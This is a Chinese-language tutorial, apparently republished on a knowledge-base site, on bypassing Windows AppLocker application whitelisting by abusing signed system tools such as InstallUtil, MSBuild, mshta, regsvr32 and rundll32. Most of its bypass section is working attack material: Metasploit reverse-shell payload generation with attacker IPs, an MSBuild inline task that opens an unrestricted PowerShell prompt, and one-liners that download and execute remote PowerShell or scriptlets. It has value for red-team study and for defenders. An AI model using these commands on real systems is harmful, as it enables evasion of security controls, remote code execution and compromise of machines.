如何进行AppLocker绕过分析

前言

什么是applocker

AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能,我们可以使用在services中启用Application Identity,然后在local security policy中找到Application Control Policies中看到Applocker选项。

applocker规则

默认的Applocker规则支持以下几种:

规则** | 关联的文件格式 —|— 可执行文件 | .exe、.com 脚本 | .ps1、.bat、.cmd、.vbs、.js Windows Installer 文件 | .msi、.msp、.mst 封装应用和封装应用安装程序 | .appx DLL 文件 |  .dll、.ocx

.appx并不是所有的applocker都会存在,应根据windows版本来,在win10上,创建applocker规则后会在C:WindowsSystem32AppLocker生产相应的.applocker文件。

applocker规则条件

规则条件是用于帮助 AppLocker 标识要应用规则的应用的标准。三个主要规则条件为发布者、路径和文件哈希。

  • 发布者:基于应用的数字签名标识它

  • 路径:通过应用在计算机文件系统中或网络上的位置来标识它

  • 文件哈希:表示已标识文件的系统计算的加密哈希

如何进行AppLocker绕过分析

AppLocker 默认规则

在你创建了一个applocker规则后,系统会默认询问你是否添加一条默认规则,如下图所示:

如何进行AppLocker绕过分析

每个规则所对应的默认规则如下:

可执行的默认规则类型包括:

  • 允许本地 Administrators 组的成员运行所有应用。

  • 允许 Everyone 组的成员运行 Windows 文件夹中的应用。

  • 允许 Everyone 组的成员运行 Program Files 文件夹中的应用。

脚本默认规则类型包括:

  • 允许本地 Administrators 组的成员运行所有脚本。

  • 允许 Everyone 组的成员运行 Program Files 文件夹中的脚本。

  • 允许 Everyone 组的成员运行 Windows 文件夹中的脚本。

Windows Installer 默认规则类型包括:

  • 允许本地 Administrators 组的成员运行所有 Windows Installer 文件。

  • 允许 Everyone 组的成员运行所有已进行数字签名的 Windows Installer 文件。

  • 允许 Everyone 组的成员运行 WindowsInstaller 文件夹中的所有 Windows Installer 文件。

DLL 默认规则类型:

  • 允许本地 Administrators 组的成员运行所有 DLL。

  • 允许 Everyone 组的成员运行 Program Files 文件夹中的 DLL。

  • 允许 Everyone 组的成员运行 Windows 文件夹中的 DLL。

封装应用默认规则类型:

  • 允许 Everyone 组的成员安装和运行所有已签名的封装应用和封装应用安装程序

AppLocker 规则行为

可将规则配置为使用允许或拒绝操作:

  • 允许。你可以指定允许在你的环境中运行的文件以及所针对的用户或用户组。你还可以配置例外以标识从规则中排除的文件。

  • 拒绝。你可以指定 not 允许在你的环境中运行的文件以及所针对的用户或用户组。你还可以配置例外以标识从规则中排除的文件。

如何进行AppLocker绕过分析

创建一个applocker规则

讲了那么多,我们以禁止在桌面上运行exe文件为例,创建一条规则。创建完大体如下:

如何进行AppLocker绕过分析

运行exe测试:

如何进行AppLocker绕过分析

系统就会阻止我们运行

bypass Applocker

Installutil.exe

InstallUtil是.NET Framework的一部分,是一个命令行程序,它使用户可以通过命令提示符快速安装和卸载应用程序。由于此实用程序是Microsoft签名的二进制文件,因此可以用来绕过AppLocker限制来运行任何.NET可执行文件。该实用程序也位于Windows文件夹内,该文件夹不会应用AppLocker策略,因为需要执行Windows文件夹的内容才能使系统正常运行。

首先我们使用WhiteListEvasion(https://github.com/khr0x40sh/WhiteListEvasion)生成一个模板



python InstallUtil.py –cs_file pentestlab.cs–exe_file /root/Desk较好/pentestlab.exe –payloadwindows/meterpreter/reverse_https –lhost 192.168.0.103 –lport 443

如何进行AppLocker绕过分析

上面的命令将生成一个C#模板,其中将包含Metasploit ShellCode。

将生成后的文件放到目标中使用下面的方法执行:



C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U /root/payload.exe

当然你也可以是先使用msf生成一个csharp的payload,然后替换模板中的shellcode,然后将cs文件传到目标机。

然后用csc编译我们的脚本:



C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /out:exeshell.exe exeshell.cs

如何进行AppLocker绕过分析

此时我们执行我们的文件试试:

如何进行AppLocker绕过分析

被规则拦截,那么我们使用



C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

绕过

如何进行AppLocker绕过分析

msf成功上线

如何进行AppLocker绕过分析

在msf中也有使用InstallUtil.exe进行applocker的bypass模块。



exploit/windows/local/applocker_bypass

原理是一样的

如何进行AppLocker绕过分析

附带常见的路径:

  • C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe

  • C:WindowsMicrosoft.NETFramework64v2.0.50727InstallUtil.exe

  • C:WindowsMicrosoft.NETFrameworkv4.0.30319InstallUtil.exe

  • C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe

Msbuild.exe

MSBuild.exe(Microsoft Build Engine)是Visual Studio使用的软件构建平台。它采用XML格式的项目文件,这些文件定义了构建各种平台和配置的要求。(引用:MSDN MSBuild)

我们可以使用MSBuild通过受信任的Windows实用工具代理代码执行。.NET版本4中引入的MSBuild内联任务功能允许将C#代码插入XML项目文件中。内联任务MSBuild将编译并执行内联任务。MSBuild.exe是一个经过签名的Microsoft二进制文件,因此,以这种方式使用它时,它可以执行任意代码,并绕过配置为允许MSBuild.exe执行的应用程序白名单防护.

我们这里直接使用GreatSCT生成一个xml文件。



./GreatSCT.py –ip 192.168.0.106 –port 4444 -t bypass -p msbuild/meterpreter/rev_tcp.py

如何进行AppLocker绕过分析

并且会给我们生成一个rc文件,我们可以使用msfconsole -r 直接启动msf

然后使用msbuild执行,

如何进行AppLocker绕过分析

msf上线:

如何进行AppLocker绕过分析

当然你也可以是使用msf生成一个c#的shellcode然后使用三好学生师傅的模板加载:

https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml

注意将后缀名改为.csproj

除了反弹shell以外我们还可以用它来绕过powershell的限制。

如何进行AppLocker绕过分析

代码如下:



<Project ToolsVersion=”4.0″ xmlns=”http://schemas.microsoft.com/developer/msbuild/2003″> <!– This inline task executes c# code. –> <!– C:WindowsMicrosoft.NETFramework64v4.0.30319msbuild.exe pshell.xml –> <!– Author: Casey Smith, Twitter: @subTee –> <!– License: BSD 3-Clause –> <Target Name=”Hello”> <FragmentExample /> <ClassExample /> </Target> <UsingTask TaskName=”FragmentExample” TaskFactory=”CodeTaskFactory” AssemblyFile=”C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll” ><ParameterGroup/><Task> <Using Namespace=”System” /> <Using Namespace=”System.IO” /> <Code Type=”Fragment” Language=”cs”><![CDATA[ Console.WriteLine(“Hello From Fragment”); ]]> </Code></Task></UsingTask><UsingTask TaskName=”ClassExample” TaskFactory=”CodeTaskFactory” AssemblyFile=”C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll” ><Task> <Reference Include=”System.Management.Automation” /> <Code Type=”Class” Language=”cs”><![CDATA[ using System; using System.IO; using System.Diagnostics; using System.Reflection; using System.Runtime.InteropServices; //Add For PowerShell Invocation using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Text; using Microsoft.Build.Framework; using Microsoft.Build.Utilities; public class ClassExample : Task, ITask { public override bool Execute() { while(true) { Console.Write(“PS >”); string x = Console.ReadLine(); try { Console.WriteLine(RunPSCommand(x)); } catch (Exception e) { Console.WriteLine(e.Message); } } return true; } //Based on Jared Atkinson’s And Justin Warner’s Work public static string RunPSCommand(string cmd) { //Init stuff Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); Pipeline pipeline = runspace.CreatePipeline(); //Add commands pipeline.Commands.AddScript(cmd); //Prep PS for string output and invoke pipeline.Commands.Add(“Out-String”); Collection<PSObject> results = pipeline.Invoke(); runspace.Close(); //Convert records to strings StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.Append(obj); } return stringBuilder.ToString().Trim(); } public static void RunPSFile(string script) { PowerShell ps = PowerShell.Create(); ps.AddScript(script).Invoke(); } } ]]> </Code></Task> </UsingTask></Project>

原地址:https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20PowerShellCommands.xml

如何进行AppLocker绕过分析

成功绕过对powershell的限制。

常见路径如下:

  • C:WindowsMicrosoft.NETFrameworkv2.0.50727Msbuild.exe

  • C:WindowsMicrosoft.NETFramework64v2.0.50727Msbuild.exe

  • C:WindowsMicrosoft.NETFrameworkv3.5Msbuild.exe

  • C:WindowsMicrosoft.NETFramework64v3.5Msbuild.exe

  • C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe

  • C:WindowsMicrosoft.NETFramework64v4.0.30319Msbuild.exe

Mshta.exe

mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件。默认已集成在环境变量中。

使用Mshta的方式有很多,我们这里使用msf的exploit/windows/misc/hta_server模块进行测试:



use exploit/windows/misc/hta_servermsf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109msf exploit(windows/misc/hta_server) > exploit

如何进行AppLocker绕过分析

目标机执行:



mshta.exe http://192.168.0.106:8080/JR1gb3TO6.hta

即可上线。

除了这种方法hta还可以使用cobaltstrike 、Setoolkit、Magic unicorn、Empire、CactusTorch、Koadic、Great SCT等进行上线。

除了本地文件,mshta还支持远程下载的方式执行payload,比如:



mshta.exe javascript:a=GetObject(“script:https://gist.github.com/someone/something.sct”).Exec();close();

除了以上的方式,mshta可以用用来执行powershell:



<HTML> <HEAD> <script language=”VBScript”>Set objShell = CreateObject(“Wscript.Shell”) objShell.Run “powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘http://ip:port/’)”</script></HEAD> <BODY> </BODY> </HTML>

即使applocker已经禁止powershell执行了

如何进行AppLocker绕过分析

InfDefaultInstall.exe

InfDefaultInstall.exe是一个用来进行inf安装的工具,具有微软签名,存在路径为:

  • C:WindowsSystem32Infdefaultinstall.exe

  • C:WindowsSysWOW64Infdefaultinstall.exe

我们也可以用它来绕过一些限制。用法就是直接该文件后面跟你的inf文件即可。

它的执行流程如下:

如何进行AppLocker绕过分析

作者给出的poc地址如下:

https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a

思路也和图中那样,使用shady.inf去调用远程的sct后门。

不过他的调用需要更高的权限,我在win10下运行的截图:

如何进行AppLocker绕过分析

Mavinject.exe

Mavinject是win10上面自带的windows组件,我们可以用它来进行dll注入,并绕过部分限制。

用法如下:



mavinject32.exe <PID> <PATH DLL>

常见路径如下:

  • C:Program FilesCommon Filesmicrosoft sharedClickToRunMavInject32.exe

  • C:WindowsSystem32mavinject.exe

  • C:WindowsSysWOW64mavinject.exe

但是我本地复现的时候并没有成功注入,但是也没有什么提示,不知道具体原因是什么,版本为: 10.0.15063.0 (WinBuild.160101.0800)

应该是可以成功注入的,附上一张推特大佬成功的图。

如何进行AppLocker绕过分析

有兴趣的可以多尝试几个系统。

MSIEXEC

MSIEXEC是Microsoft的应用程序,可用于从命令行安装或配置产品。这个其实不是很陌生的了,我之前也写过用它来进行提权的文章。我们假设可以执行msi文件,用它来绕过applocker对powershell的限制。

先用msf生成一个msi文件。



msfvenom -f msi -p windows/exec CMD=powershell.exe > powershell.msi

如何进行AppLocker绕过分析

windows下执行:

如何进行AppLocker绕过分析

成功绕过。

msxsl.exe

msxsl.exe是一个xml的转换器,带有微软数字签名。下载地址如下:

https://www.microsoft.com/en-us/download/details.aspx?id=21714

如何进行AppLocker绕过分析

我们使用3gstudent来尝试绕过applocker对calc的限制,

customers.xml:



<?xml version=”1.0″?><?xml-stylesheet type=”text/xsl” href=”script.xsl” ?><customers> <customer> <name>John Smith</name> <address>123 Elm St.</address> <phone>(123) 456-7890</phone> </customer> <customer> <name>Mary Jones</name> <address>456 Oak Ave.</address> <phone>(156) 789-0123</phone> </customer></customers>

script.xml:



<?xml version=’1.0′?><xsl:stylesheet version=”1.0″ xmlns:xsl=”http://www.w3.org/1999/XSL/Transform” xmlns:msxsl=”urn:schemas-microsoft-com:xslt” xmlns:user=”http://mycompany.com/mynamespace”><msxsl:script language=”JScript” implements-prefix=”user”> function xml(nodelist) { var r = new ActiveXObject(“WScript.Shell”).Run(“calc.exe”); return nodelist.nextNode().xml; }</msxsl:script><xsl:template match=”/”> <xsl:value-of select=”user:xml(.)”/></xsl:template></xsl:stylesheet>

成功绕过:

如何进行AppLocker绕过分析

当然也可以执行我们的shellcode,具体参考:

https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml

Regsv***.exe

regsv***是Windows命令行实用程序,用于将.dll文件和ActiveX控件注册和注销到注册表中。

文件位置:

  • C:WindowsSystem32regsv***.exe

  • C:WindowsSysWOW64regsv***.exe

下面为大家演示,绕过applocker上线。

如何进行AppLocker绕过分析

如何进行AppLocker绕过分析

scT文件内容如下:



<?XML version=”1.0″?><scriptlet><registration progid=”Pentest” classid=”{F0001111-0000-0000-0000-0000FEEDACDC}” ><script language=”JScript”><![CDATA[ var r = new ActiveXObject(“WScript.Shell”).Run(“cmd /k cd c: & pentestlab.exe”); ]]></script></registration></scriptlet>

各参数的含义:

  • 静默不显示任何消息// / s

  • 不调用DLL注册服务器// / n

  • 要使用另一个IP地址,因为它不会调用DLL注册服务器// / i

  • 使用取消注册方法// / u

除了本地执行,它还支持远程加载:



regsv*** /u /n /s /i:http://ip:port/payload.sct scrobj.dll

sct我们使用GreatSct生成即可。

Rundll32.exe

Rundll32是一个Microsoft二进制文件,可以执行DLL文件中的代码。由于此实用程序是Windows操作系统的一部分,因此可以用作绕过AppLocker规则或软件限制策略的方法

先生成我们的payload:

如何进行AppLocker绕过分析

目标机执行:    

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

上线:

如何进行AppLocker绕过分析

除了远程之外,也可以本地上线:

rundll32 shell32.dll,Control_RunDLL C:Userspentestlab.dll

也可以用来绕过对某些软件的限制,比如弹个cmd:

如何进行AppLocker绕过分析

关于如何进行AppLocker绕过分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

文章标题:如何进行AppLocker绕过分析,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/26006

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云认证作者
上一篇 2022年9月16日 下午10:26
下一篇 2022年9月16日 下午10:27

相关推荐

  • jquery动画队列怎么实现

    jquery动画队列是一个动画函数队列,把多个的动画任务放到一起,确保只有当前面的任务完成了,才会开始下一个任务;可以对jQuery元素应用fade、slide、animate等动画,当在JQuery对象上调用动画方法时,如果对象正在执行某个动画效果,那么会把后面的动画效果,放在一个队列里面,然后按…

    2022年9月10日
    44300
  • windows kb4522741补丁安装失败如何解决

    根据情况可能不同,小编准备了五种解决方案 名列前茅种方案: 1.查看【windows update】、【app readiness】、【Cryptographic Services】、【Background Intelligent Transfer Service】、【Windows Install…

    2022年9月1日
    33300
  • windows连不上网怎么安装网卡驱动

    连不上网安装网卡驱动的方法: 方法一: 1、大部分的系统都是自带驱动程序的。 2、因此只要右键此电脑,打开“管理” 3、接着进入“设备管理器” 4、然后右键网卡,选择“更新驱动程序” 5、随后选择“浏览我的电脑以查找驱动程序” 6、最后选择本地驱动位置,就可以安装了。 方法二: 1、如果不行,那就在…

    2022年8月30日
    1.1K00
  • Java如何判断两个Long对象是否相等

    抛出问题: Long a = 4l;Long b = 4l;a == b //true Long a = 128l;Long b = 128l;a == b //false 如果Long的值在[-127,128]之间,用“==”判断是否相等是没问题的,如果不在这个区间,是不能用“==”的,原因如下源…

    2022年8月27日
    98700
  • html中阴影样式怎么设置

    样式代码:1、文本阴影样式“text-shadow: h-shadow v-shadow blur color;”;2、边框阴影样式“box-shadow: h-shadow v-shadow blur spread color inset;”;3、图片阴影样式“filter:drop-shadow…

    2022年9月24日
    56100
  • 怎么修改pip install默认安装路径

    1. 修改pip install默认安装路径 一般使用Anaconda时会使用 pip install ### 来安装各类包,但默认安装路径在C盘,极大占用空间,作为强迫症,我们通过以下步骤来修改默认安装路径。 1.1 查看pip 默认安装位置 名列前茅步:通过win菜单,找到Prompt,点击进入…

    2022年8月30日
    3.0K00
  • CDR最新版本透视效果怎么制作

    CDR最新版本透视效果在哪里: 答:在“对象”工具栏下。 点击上方对象,在下拉菜单中就可以找到“透视”了。 CDR最新版本透视制作教程: 1、首先我们使用文本工具添加需要编辑的内容。 2、添加完成后,点击左上角的“对象” 3、然后找到“透视点”,点击其中的“添加透视” 4、添加完成后,就能够获得透视…

    2022年9月24日
    55100
  • 如何逆向分析Spotify.app并hook其功能获取数据

    项目 该项目的目标是构建一个Spotify客户端,让它能够学习我的听曲习惯并跳过一些我通常会跳过的歌曲。不得不承认,这种需求来自于我的懒惰。我不想在当我有心情想要听某些音乐时,创建或查找播放列表。我希望的是在我的库中选择一首歌,然后可以随机播放其他歌曲,并从队列中删除不“flow(节奏与旋律的流畅)…

    2022年9月8日
    59100
  • MySQL中怎么使用序列Sequence的方式

    在Oracle数据库中若想要一个连续的自增的数据类型的值,可以通过创建一个sequence来实现。而在MySQL数据库中并没有sequence。通常如果一个表只需要一个自增的列,那么我们可以使用MySQL的auto_increment(一个表只能有一个自增主键)。若想要在MySQL像Oracle中那…

    2022年9月15日
    74600
  • 同时利用多个僵尸网络攻击目标的示例分析

    APT33常以石油和航空业为攻击目标,最近的调查结果显示,该组织一直在使用大约12台经过多重混淆的C&C服务器来攻击特定目标。该组织主要在中东、美国和亚洲地区开展的针对性极强的恶意攻击活动。 每一个僵尸网络由12台以上受感染的计算机组成,用来攻击的恶意软件只有基本的功能,包括下载和运行其他恶…

    2022年9月18日
    43800
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部